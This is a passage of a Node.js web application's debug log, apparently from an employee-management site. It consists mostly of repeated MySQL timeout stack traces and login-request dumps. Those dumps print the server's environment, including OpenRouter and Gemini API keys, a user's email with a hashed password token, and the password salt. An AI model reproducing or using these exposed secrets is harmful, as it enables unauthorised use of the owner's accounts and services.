    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.146.56',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-28T00:19:52.721Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.146.56',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.146.56',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 00:25:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 00:25:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 01:38:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 01:38:25' as DATETIME)"
}
2025-12-27T02:24:02.815Z server-connect:app Executing action step identify
2025-12-27T02:24:02.816Z server-connect:app options: { provider: 'security' }
2025-12-27T02:24:02.880Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-27T02:24:02.883Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-27T02:24:02.944Z server-connect:output identity: 1
2025-12-27T02:25:38.145Z server-connect:app Executing action step identify
2025-12-27T02:25:38.145Z server-connect:app options: { provider: 'security' }
2025-12-27T02:25:38.188Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-27T02:25:38.190Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-27T02:25:38.236Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 02:31:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 02:31:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 02:33:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 02:33:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 07:28:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 07:28:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 07:53:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 07:53:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 08:40:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 08:40:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 08:46:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 08:46:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 10:14:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 10:14:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 10:42:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 10:42:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 12:42:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 12:42:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 14:04:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 14:04:27' as DATETIME)"
}
2025-12-27T15:19:30.120Z server-connect:router Serving templateView /
2025-12-27T15:19:30.122Z server-connect:app Executing action step identify
2025-12-27T15:19:30.122Z server-connect:app options: { provider: 'security' }
2025-12-27T15:19:30.122Z server-connect:auth No login cookie found
2025-12-27T15:19:30.122Z server-connect:output identity: false
2025-12-27T15:19:30.122Z server-connect:app Executing action step restrict
2025-12-27T15:19:30.122Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-27T15:19:30.123Z server-connect:output restrict: undefined
2025-12-27T15:19:30.329Z server-connect:router Serving templateView /login
2025-12-27T15:19:30.330Z server-connect:app Executing action step identify
2025-12-27T15:19:30.330Z server-connect:app options: { provider: 'security' }
2025-12-27T15:19:30.330Z server-connect:auth No login cookie found
2025-12-27T15:19:30.330Z server-connect:output identity: false
2025-12-27T15:19:30.330Z server-connect:router Render template layouts/authentication
2025-12-27T15:19:30.330Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '157.48.254.151',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-28T15:19:30.329Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.254.151',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '157.48.254.151',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-27T15:19:46.639Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-27T15:19:46.640Z server-connect:app Executing action step identify
2025-12-27T15:19:46.640Z server-connect:app options: { provider: 'security' }
2025-12-27T15:19:46.684Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-27T15:19:46.687Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-27T15:19:46.738Z server-connect:output identity: 1
2025-12-27T15:19:46.738Z server-connect:app Executing action step login
2025-12-27T15:19:46.738Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-27T15:19:46.740Z server-connect:output identity: false
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 16:06:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 16:06:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 18:53:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
